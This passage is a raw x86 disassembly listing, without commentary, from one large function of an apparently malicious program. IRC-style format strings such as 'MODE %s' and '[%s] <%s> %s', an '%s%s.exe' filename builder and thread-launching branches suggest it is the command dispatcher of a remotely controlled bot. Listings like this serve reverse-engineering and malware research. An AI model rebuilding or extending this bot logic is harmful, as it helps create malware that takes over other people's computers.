mov [ebp+var_2F0], 1
jmp short loc_40FF46
; ---------------------------------------------------------------------------
loc_40FF40: ; CODE XREF: sub_40CE55+3095j
mov [ebp+var_2F0], ebx
loc_40FF46: ; CODE XREF: sub_40CE55+3018j
; sub_40CE55+30E9j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_320], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov edi, 80h
lea eax, [ebp+var_420]
push edi
push eax
call sub_415A6A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40FF97
loc_40FF84: ; CODE XREF: sub_40CE55+3165j
push esi
loc_40FF85: ; CODE XREF: sub_40CE55+314Fj
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_40FFC2
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40CE55+312Dj
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40FFA6
cmp byte ptr [eax], 23h
jnz short loc_40FFA6
push eax
jmp short loc_40FF85
; ---------------------------------------------------------------------------
loc_40FFA6: ; CODE XREF: sub_40CE55+3147j
; sub_40CE55+314Cj
mov esi, offset dword_42C248
push offset byte_438FDC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF84
mov [ebp+var_3A0], bl
loc_40FFC2: ; CODE XREF: sub_40CE55+3140j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40FFD4
mov eax, offset aSequential ; "Sequential"
loc_40FFD4: ; CODE XREF: sub_40CE55+3178j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset dword_434D34
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_40799F
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410062
loc_41004C: ; CODE XREF: sub_40CE55+320Bj
cmp [ebp+var_2EC], ebx
jnz loc_40F7B1
push 32h
call dword_421060
jmp short loc_41004C
; ---------------------------------------------------------------------------
loc_410062: ; CODE XREF: sub_40CE55+31F5j
call dword_421088
push eax
push offset dword_434CE8
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_410073: ; CODE XREF: sub_40CE55+2633j
; sub_40CE55+264Aj
push edi
call sub_415A5F
imul eax, 234h
pop ecx
cmp byte_43F560[eax], bl
jz loc_41298E
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
push [ebp+arg_18]
add esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
lea eax, [ebp+var_2C8]
push esi
push offset dword_434CDC
push eax
call sub_4154E7
add esp, 20h
cmp esi, ebx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D4C
push edi
call sub_415A5F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43F348[eax], 73h
jnz loc_41298E
push esi
push edi
call sub_415A5F
imul eax, 234h
pop ecx
add eax, offset byte_43F560
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_41015B: ; CODE XREF: sub_40CE55+3403j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
loc_410180: ; CODE XREF: sub_40CE55+529Fj
add esp, 28h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410188: ; CODE XREF: sub_40CE55+2605j
; sub_40CE55+261Cj
push edi
call sub_415A5F
imul eax, 234h
pop ecx
cmp byte_43F560[eax], bl
jz loc_41298E
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
push [ebp+arg_18]
add esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D4C
push edi
call sub_415A5F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43F348[eax], 73h
jnz loc_41298E
push esi
push edi
call sub_415A5F
imul eax, 234h
pop ecx
add eax, offset byte_43F560
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_41015B
; ---------------------------------------------------------------------------
loc_41025D: ; CODE XREF: sub_40CE55+25D7j
; sub_40CE55+25EEj
push edi
call dword_43A3F8
push [ebp+arg_18]
mov [ebp+var_460], eax
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_46C], eax
call sub_415A5F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_468], eax
lea eax, [ebp+var_4EC]
mov [ebp+var_4F0], esi
push eax
call sub_416D40
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_458], edi
push [ebp+var_468]
mov [ebp+var_454], eax
push [ebp+var_46C]
push [ebp+var_460]
call dword_43A444
push eax
lea eax, [ebp+var_2C8]
push offset unk_434C6C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_464], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_414569
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_464]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_41033F
loc_410329: ; CODE XREF: sub_40CE55+34E8j
cmp [ebp+var_450], ebx
jnz loc_411F0D
push 32h
call dword_421060
jmp short loc_410329
; ---------------------------------------------------------------------------
loc_41033F: ; CODE XREF: sub_40CE55+34D2j
call dword_421088
push eax
push offset unk_434C1C
jmp loc_411EFE
; ---------------------------------------------------------------------------
loc_410350: ; CODE XREF: sub_40CE55+25A9j
; sub_40CE55+25C0j
push edi
call sub_415A5F
push 7Fh
mov [ebp+var_300], eax
push [ebp+arg_18]
lea eax, [ebp+var_404]
push eax
call sub_416D40
push [ebp+arg_0]
call sub_415A5F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_384]
push 80h
push eax
mov [ebp+var_40C], esi
call sub_415A6A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+var_304]
lea eax, [ebp+var_404]
mov [ebp+var_2F4], edi
push eax
push [ebp+var_300]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_434BCC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 10h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_407BFE
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410439
loc_410423: ; CODE XREF: sub_40CE55+35E2j
cmp [ebp+var_2EC], ebx
jnz loc_411F0D
push 32h
call dword_421060
jmp short loc_410423
; ---------------------------------------------------------------------------
loc_410439: ; CODE XREF: sub_40CE55+35CCj
call dword_421088
push eax
push offset unk_434B78
jmp loc_411EFE
; ---------------------------------------------------------------------------
loc_41044A: ; CODE XREF: sub_40CE55+257Bj
; sub_40CE55+2592j
push 0FFh
lea eax, [ebp+var_788]
push edi
push eax
call sub_416D40
push 0FFh
lea eax, [ebp+var_688]
push [ebp+arg_18]
push eax
call sub_416D40
push [ebp+arg_0]
mov [ebp+var_584], ebx
call sub_415A5F
mov [ebp+var_580], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4104A6
push 10h
push ebx
push eax
call sub_416A89
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_4104AC
; ---------------------------------------------------------------------------
loc_4104A6: ; CODE XREF: sub_40CE55+363Bj
mov [ebp+var_578], ebx
loc_4104AC: ; CODE XREF: sub_40CE55+364Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_4104C3
push esi
call sub_415A5F
pop ecx
mov [ebp+var_57C], eax
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104C3: ; CODE XREF: sub_40CE55+365Dj
mov [ebp+var_57C], ebx
loc_4104C9: ; CODE XREF: sub_40CE55+366Cj
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax
call sub_416D40
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
push edi
lea eax, [ebp+var_2C8]
push offset unk_434B38
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_2C8]
push 15h
push eax
call sub_414F93
add esp, 28h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_40BCEF
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410577
loc_410561: ; CODE XREF: sub_40CE55+3720j
cmp [ebp+var_568], ebx
jnz loc_40FBE8
push 32h
call dword_421060
jmp short loc_410561
; ---------------------------------------------------------------------------
loc_410577: ; CODE XREF: sub_40CE55+370Aj
call dword_421088
push eax
push offset unk_434AE4
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_410588: ; CODE XREF: sub_40CE55+254Dj
; sub_40CE55+2564j
push 7Fh
lea eax, [ebp+var_774]
pop esi
push esi
push edi
push eax
call sub_416D40
push esi
lea eax, [ebp+var_6F4]
push [ebp+arg_18]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_674]
push [ebp+arg_0]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_5F4]
push [ebp+var_8C]
push eax
call sub_416D40
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_778], eax
lea eax, [ebp+var_2C8]
push edi
push offset dword_434AA4
push eax
mov [ebp+var_570], esi
call sub_4154E7
add esp, 44h
lea eax, [ebp+var_2C8]
push ebx
push 0Bh
push eax
call sub_414F93
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_778]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_41065B
loc_410649: ; CODE XREF: sub_40CE55+3804j
cmp [ebp+var_568], ebx
jnz short loc_410676
push 32h
call dword_421060
jmp short loc_410649
; ---------------------------------------------------------------------------
loc_41065B: ; CODE XREF: sub_40CE55+37F2j
call dword_421088
push eax
lea eax, [ebp+var_2C8]
push offset dword_434A58
push eax
call sub_4154E7
add esp, 0Ch
loc_410676: ; CODE XREF: sub_40CE55+37FAj
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push esi
jmp loc_40F7BE
; ---------------------------------------------------------------------------
loc_410686: ; CODE XREF: sub_40CE55+2508j
; sub_40CE55+251Fj ...
push 7Fh
lea eax, [ebp+var_7F0]
pop esi
push esi
push edi
push eax
call sub_416D40
push esi
lea eax, [ebp+var_770]
push [ebp+arg_18]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_6F0]
push [ebp+arg_0]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_670]
push [ebp+var_8C]
push eax
call sub_416D40
push 20h
lea eax, [ebp+var_5F0]
push [ebp+arg_8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_56C], eax
lea eax, [ebp+var_2C8]
push edi
push offset unk_434A14
push eax
mov [ebp+var_7F8], esi
call sub_4154E7
add esp, 50h
lea eax, [ebp+var_2C8]
push ebx
push 0Ah
push eax
call sub_414F93
add esp, 0Ch
mov [ebp+var_7F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_7F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_41076E
loc_410758: ; CODE XREF: sub_40CE55+3917j
cmp [ebp+var_568], ebx
jnz loc_40FBE8
push 32h
call dword_421060
jmp short loc_410758
; ---------------------------------------------------------------------------
loc_41076E: ; CODE XREF: sub_40CE55+3901j
call dword_421088
push eax
push offset unk_4349C8
loc_41077A: ; CODE XREF: sub_40CE55+2D75j
; sub_40CE55+2EC0j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
jmp loc_40FBE5
; ---------------------------------------------------------------------------
loc_41078B: ; CODE XREF: sub_40CE55+24DAj
; sub_40CE55+24F1j
push 7Fh
lea eax, [ebp+var_444]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push 3Fh
mov [ebp+var_2F4], eax
push [ebp+arg_0]
lea eax, [ebp+var_3C4]
push eax
call sub_416D40
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_4107D9
push 3Fh
lea eax, [ebp+var_384]
push esi
push eax
call sub_416D40
add esp, 0Ch
loc_4107D9: ; CODE XREF: sub_40CE55+3970j
lea eax, [ebp+var_3C4]
mov [ebp+var_2F0], 1
push eax
lea eax, [ebp+var_444]
push [ebp+var_2F4]
push eax
lea eax, [ebp+var_2C8]
push offset unk_434984
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 17h
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_448]
push ebx
push eax
push offset sub_40CB75
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410865
loc_41084F: ; CODE XREF: sub_40CE55+3A0Ej
cmp [ebp+var_2E8], ebx
jnz loc_40F713
push 32h
call dword_421060
jmp short loc_41084F
; ---------------------------------------------------------------------------
loc_410865: ; CODE XREF: sub_40CE55+39F8j
call dword_421088
push eax
push offset unk_434938
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410876: ; CODE XREF: sub_40CE55+249Aj
; sub_40CE55+24B1j
push [ebp+arg_18]
call sub_415A5F
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_410967
mov esi, 80h
push edi
lea eax, [ebp+var_700]
push esi
push eax
call sub_415A6A
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi
push eax
call sub_415A6A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
push edi
push offset unk_4348F8
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 0Dh
push eax
call sub_414F93
add esp, 38h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_401447
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410956
loc_410940: ; CODE XREF: sub_40CE55+3AFFj
cmp [ebp+var_568], ebx
jnz loc_40F7B1
push 32h
call dword_421060
jmp short loc_410940
; ---------------------------------------------------------------------------
loc_410956: ; CODE XREF: sub_40CE55+3AE9j
call dword_421088
push eax
push offset unk_4348AC
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_410967: ; CODE XREF: sub_40CE55+3A32j
push offset unk_434860
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_410971: ; CODE XREF: sub_40CE55+246Cj
; sub_40CE55+2483j
push [ebp+arg_18]
push edi
call dword_421134
test eax, eax
jz short loc_41099E
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push edi
push offset unk_434828
push 200h
push eax
call sub_415A6A
jmp loc_4111C1
; ---------------------------------------------------------------------------
loc_41099E: ; CODE XREF: sub_40CE55+3B28j
push offset dword_434808
call sub_409C08
push eax
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 10h
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_4109C2: ; CODE XREF: sub_40CE55+243Ej
; sub_40CE55+2455j
push edi
lea eax, [ebp+var_77C]
push 104h
push eax
call sub_415A6A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4109FC
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4109FC
push eax
lea eax, [ebp+var_678]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4109FC: ; CODE XREF: sub_40CE55+3B85j
; sub_40CE55+3B96j
push [ebp+var_8C]
lea eax, [ebp+var_7FC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov [ebp+var_800], eax
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_678]
push eax
lea eax, [ebp+var_77C]
push eax
push offset unk_4347C4
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 1Bh
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_408788
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410AAF
loc_410A99: ; CODE XREF: sub_40CE55+3C58j
cmp [ebp+var_568], ebx
jnz loc_41284E
push 32h
call dword_421060
jmp short loc_410A99
; ---------------------------------------------------------------------------
loc_410AAF: ; CODE XREF: sub_40CE55+3C42j
call dword_421088
push eax
push offset unk_434774
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_410AC0: ; CODE XREF: sub_40CE55+2410j
; sub_40CE55+2427j
push 44h
lea eax, [ebp+var_48C]
pop esi
push esi
push ebx
push eax
call sub_415570
push 1
mov [ebp+var_48C], esi
pop esi
mov word ptr [ebp+var_45C], bx
push edi
mov [ebp+var_460], esi
call sub_415A5F
add esp, 10h
cmp eax, esi
jnz short loc_410AFD
mov word ptr [ebp+var_45C], 5
loc_410AFD: ; CODE XREF: sub_40CE55+3C9Dj
cmp [ebp+var_C], ebx
jz loc_40F713
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40F713
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_48C]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_4210EC
test eax, eax
jnz short loc_410B56
push offset unk_43473C
loc_410B43: ; CODE XREF: sub_40CE55+3E85j
; sub_40CE55+4518j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40F713
; ---------------------------------------------------------------------------
loc_410B56: ; CODE XREF: sub_40CE55+3CE7j
push edi
push offset dword_434710
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410B61: ; CODE XREF: sub_40CE55+23E2j
; sub_40CE55+23F9j
push [ebp+arg_18]
push offset aIdsppn ; "idsppn"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CD5
lea eax, [ebp+var_3E8]
push eax
push 104h
call dword_4210F8
push 0FFh
lea eax, [ebp+var_788]
push edi
push eax
call sub_416D40
lea eax, [ebp+var_2E4]
push eax
call sub_414126
push eax
lea eax, [ebp+var_3E8]
push eax
lea eax, [ebp+var_688]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4154E7
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_584], 1
mov [ebp+var_580], ebx
jz short loc_410BF3
push 10h
push ebx
push eax
call sub_416A89
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_410BF9
; ---------------------------------------------------------------------------
loc_410BF3: ; CODE XREF: sub_40CE55+3D88j
mov [ebp+var_578], ebx
loc_410BF9: ; CODE XREF: sub_40CE55+3D9Cj
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_410C13
push esi
call sub_415A5F
pop ecx
mov [ebp+var_57C], eax
jmp short loc_410C19
; ---------------------------------------------------------------------------
loc_410C13: ; CODE XREF: sub_40CE55+3DADj
mov [ebp+var_57C], ebx
loc_410C19: ; CODE XREF: sub_40CE55+3DBCj
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax
call sub_416D40
mov eax, [ebp+var_4]
push edi
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
lea eax, [ebp+var_2C8]
push offset unk_4346C4
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_2C8]
push 16h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_40BCEF
push ebx
push ebx
call dword_42108C
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_43F55C[ecx], eax
jz short loc_410CC4
loc_410CAE: ; CODE XREF: sub_40CE55+3E6Dj
cmp [ebp+var_568], ebx
jnz loc_40F713
push 32h
call dword_421060
jmp short loc_410CAE
; ---------------------------------------------------------------------------
loc_410CC4: ; CODE XREF: sub_40CE55+3E57j
call dword_421088
push eax
push offset unk_434674
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410CD5: ; CODE XREF: sub_40CE55+3D1Dj
push offset unk_43461C
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_410CDF: ; CODE XREF: sub_40CE55+23B4j
; sub_40CE55+23CBj
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
cmp [ebp+var_C], ebx
jz loc_40D219
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43460C
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push edi
call sub_415A5F
add esp, 30h
test eax, eax
jle short loc_410D66
push edi
call sub_415A5F
imul eax, 3E8h
pop ecx
push eax
call dword_421060
loc_410D66: ; CODE XREF: sub_40CE55+3EFBj
push offset dword_4345E4
call sub_40B16D
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_410D7A: ; CODE XREF: sub_40CE55+2386j
; sub_40CE55+239Dj
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_415910
add esp, 10h
test eax, eax
push esi
jz short loc_410E36
push [ebp+var_8C]
lea eax, [ebp+var_2C8]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43460C
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push esi
lea eax, [ebp+var_2C8]
push offset dword_4345B0
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
push edi
call sub_415A5F
add esp, 38h
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_410E36: ; CODE XREF: sub_40CE55+3F6Aj
push offset dword_434568
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410E40: ; CODE XREF: sub_40CE55+2358j
; sub_40CE55+236Fj
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push offset dword_434560
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 10h
loc_410E5D: ; CODE XREF: sub_40CE55+4072j
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
loc_410E77: ; CODE XREF: sub_40CE55+4907j
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D06
loc_410E9B: ; CODE XREF: sub_40CE55+579Ej
add esp, 0Ch
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410EA3: ; CODE XREF: sub_40CE55+232Aj
; sub_40CE55+2341j
push [ebp+esi+var_88]
lea eax, [ebp+var_2C8]
push [ebp+arg_18]
push offset dword_434554
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 14h
jmp short loc_410E5D
; ---------------------------------------------------------------------------
loc_410EC9: ; CODE XREF: sub_40CE55+22FCj
; sub_40CE55+2313j
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push offset dword_43454C
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 10h
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D06
push [ebp+arg_18]
push edi
push offset dword_43451C
loc_410F2D: ; CODE XREF: sub_40CE55+4162j
; sub_40CE55+41CDj ...
call sub_40B1E1
loc_410F32: ; CODE XREF: sub_40CE55+546Ej
add esp, 18h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410F3A: ; CODE XREF: sub_40CE55+22CEj
; sub_40CE55+22E5j
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410F6B
push esi
lea eax, [ebp+var_2C8]
push offset dword_434514
push eax
call sub_4154E7
add esp, 0Ch
loc_410F6B: ; CODE XREF: sub_40CE55+40FFj
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D06
push esi
push edi
push offset dword_4344E4
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_410FBC: ; CODE XREF: sub_40CE55+22A0j
; sub_40CE55+22B7j
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push esi
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F554[eax]
call sub_412D06
push esi
push edi
push offset dword_4344B4
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_411027: ; CODE XREF: sub_40CE55+2272j
; sub_40CE55+2289j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_412D06
push esi
push offset dword_434478
loc_411059: ; CODE XREF: sub_40CE55+4AACj
; sub_40CE55+4AC5j ...
call sub_40B1E1
loc_41105E: ; CODE XREF: sub_40CE55+4272j
add esp, 14h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411066: ; CODE XREF: sub_40CE55+2244j
; sub_40CE55+225Bj
push [ebp+var_90]
push offset dword_436490
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
